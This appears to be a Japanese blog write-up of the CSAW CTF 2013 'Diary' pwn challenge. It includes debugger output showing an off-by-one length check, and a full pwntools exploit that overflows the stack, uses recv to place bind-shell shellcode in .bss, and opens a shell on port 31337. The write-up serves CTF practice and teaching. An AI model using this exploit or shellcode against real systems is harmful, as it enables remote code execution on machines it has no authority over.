読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

CSAW CTF Qualification Round 2013 Exploitation3 (CSAW-Diary-300)

この問題自体は32bit-ELFでfork-server型であった。問題は最初にuserとpasswordを入力させるような処理があった。このuserとpasswordは平文で保存されているため、stringsコマンドで明らかに怪しい文字列があるのでそれらを入力してみるのもよいし、IDAやGDBデバッグして見つけるのもよい。
その後に、sendするsizeを指定し、指定したsize分改行文字を含めて送るような処理をしていた。sizeを指定しておくることができるということで負数を入れて例外処理をしているのかどうか見ていきたいと思った。その時実行した様子を下に示す。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : FULL
gdb-peda$ 
shima@chino:~/workspace/pwn_list_baby/Exploitation3$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 2000
shima@chino:~/workspace/pwn_list_baby/Exploitation3$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: -1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Til next time

shima@chino:~/workspace/pwn_list_baby/Exploitation3$ 

どうやらある一定のsize数を超えたらsendする内容を打つ前に終了するようだが、-1(今回は32bitであるため、0xFFFFFFFF)はそのままsendするような内容になっている。SSPも無効でNX bitも無効であるため、「もしかしたら、BOF(Buffer OverFlow)でshellcode流し込むことができるのでは」思い調べて見ることにした。

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fbb000 --> 0x1aada8 
ECX: 0xa ('\n')
EDX: 0xffff 
ESI: 0x0 
EDI: 0x804967b ("Til next time\n\n")
EBP: 0xffffceb8 --> 0xffffcef8 --> 0xffffcfe8 --> 0xffffcff8 --> 0x0 
ESP: 0xffffc9e0 --> 0x0 
EIP: 0x8048f31 (cmp    eax,0x400)
EFLAGS: 0x257 (CARRY PARITY ADJUST ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f28:   mov    DWORD PTR [ebp-0x14],eax
   0x8048f2b:   mov    eax,DWORD PTR [ebp-0x14]
   0x8048f2e:   add    eax,0x1
=> 0x8048f31:   cmp    eax,0x400
   0x8048f36:   jbe    0x8048f5b
   0x8048f38:   mov    edx,0x8049973
   0x8048f3d:   mov    eax,ds:0x804b008
   0x8048f42:   mov    DWORD PTR [esp+0x8],0x8049977
[------------------------------------stack-------------------------------------]
0000| 0xffffc9e0 --> 0x0 
0004| 0xffffc9e4 --> 0x0 
0008| 0xffffc9e8 --> 0xf7fd5b35 
0012| 0xffffc9ec --> 0xf7fd5b72 
0016| 0xffffc9f0 --> 0x801 
0020| 0xffffc9f4 --> 0x0 
0024| 0xffffc9f8 --> 0x3a9 
0028| 0xffffc9fc --> 0x5203f5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048f31 in ?? ()
gdb-peda$ 

ここでは、sizeの長さを400h(1024)byteとくらべているのだが、比べる前になぜか1を足している。つまり-1に1足されるため、0となり400hより小さいため、ジャンプして次のsendする内容を打つ処理に行くことができる脆弱性がここにあった。

[-------------------------------------code-------------------------------------]
   0x8048f6d:   lea    edx,[ebp-0x41c]
   0x8048f73:   mov    DWORD PTR [esp+0x4],edx
   0x8048f77:   mov    DWORD PTR [esp],eax
=> 0x8048f7a:   call   0x8048890 <recv@plt>
   0x8048f7f:   mov    WORD PTR [ebp-0x16],ax
   0x8048f83:   cmp    WORD PTR [ebp-0x16],0xffff
   0x8048f88:   jne    0x8048f9b
   0x8048f8a:   mov    DWORD PTR [esp],0x8049986
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffca9c --> 0x0 
arg[2]: 0xffffffff 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffc9e0 --> 0x4 
0004| 0xffffc9e4 --> 0xffffca9c --> 0x0 
0008| 0xffffc9e8 --> 0xffffffff 
0012| 0xffffc9ec --> 0x0 
0016| 0xffffc9f0 --> 0x801 
0020| 0xffffc9f4 --> 0x0 
0024| 0xffffc9f8 --> 0x3a9 
0028| 0xffffc9fc --> 0x5203f5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048f7a in ?? ()
gdb-peda$ 

そしてsize分recvするような関数をここで呼んでいるため、ここでBOFを起こさせて、shellcodeを流し込むようなコードをかけないいのかと思い、とりあえず、returnまでの位置を調べて一回適当な文字列で試してみた。

 [----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xffffca1c ("diary1.txt")
ECX: 0x0 
EDX: 0xf7fbb000 --> 0x1aada8 
ESI: 0x0 
EDI: 0xffffca9c ('A' <repeats 200 times>...)
EBP: 0xffffceb8 ("EEEEFFFF\n")
ESP: 0xffffceb0 ("CCCCDDDDEEEEFFFF\n")
EIP: 0x8049110 (pop    ebx)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049103:   mov    eax,0x1
   0x8049108:   jmp    0x804910a
   0x804910a:   add    esp,0x4d0
=> 0x8049110:   pop    ebx
   0x8049111:   pop    edi
   0x8049112:   pop    ebp
   0x8049113:   ret    
   0x8049114:   push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffceb0 ("CCCCDDDDEEEEFFFF\n")
0004| 0xffffceb4 ("DDDDEEEEFFFF\n")
0008| 0xffffceb8 ("EEEEFFFF\n")
0012| 0xffffcebc ("FFFF\n")
0016| 0xffffcec0 --> 0xa ('\n')
0020| 0xffffcec4 --> 0xffffffff 
0024| 0xffffcec8 --> 0xc ('\x0c')
0028| 0xffffcecc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08049110 in ?? ()
gdb-peda$ 

どうやら、1024 byte分Bufferがあった後に20 byte分 paddingがあって、pop三回分した後でreturnアドレスが来ていることが分かった。
コードをべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./fil_chal')
recv_addr = elf.plt['recv']
bss_addr = elf.get_section_by_name('.bss').header['sh_addr']
HOST = 'localhost'
PORT = 34266

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./fil_chal')
        print "[+] connect to local\n"

shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
          "\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0"
          "\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a"
          "\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01"
          "\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89"
          "\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f"
          "\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68"
          "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2"
          "\xb0\x0b\xcd\x80")
conn.recvuntil('UserName: ')
conn.send('csaw2013\n')
conn.recvuntil('Password: ')
conn.send('S1mplePWD\n')
conn.recvuntil('Entry Info: ')
conn.send('-1\n')
payload = ''
payload += 'A' * 1024 # buffer
payload += 'B' * 20   # padding
payload += 'C' * 12   # pop * 3
# recv(4, bss_addr, sizeof(shellcode), 0)
# return address is bss_addr
payload += p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0) 
payload += '\n'
conn.send(payload)
time.sleep(2)
conn.send(shellcode)

shellcodeはshell-stormから引っ張ってきた。Bind Shellで31337 portで待ち受けるようになっている。肝心のコードだが、今回はbufferのアドレスがよくわからなかったのでPIEが無効になっていることを利用してrecv関数を使って.bssセクション(初期化されていない変数がおいてあるセクション)を利用してここにshellcodeを送ってあげて、recvのreturnアドレスを.bssセクションの先頭に設定しようぜ!という作戦でいった。

shima@chino:~/workspace/pwn_list_baby/Exploitation3$ netstat -na |grep 'LISTEN'
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:34266           0.0.0.0:*               LISTEN    

shima@chino:~/workspace/pwn_list_baby/Exploitation3$ nc localhost 31337
whoami
shima

[総評] recv作戦の良い練習になった。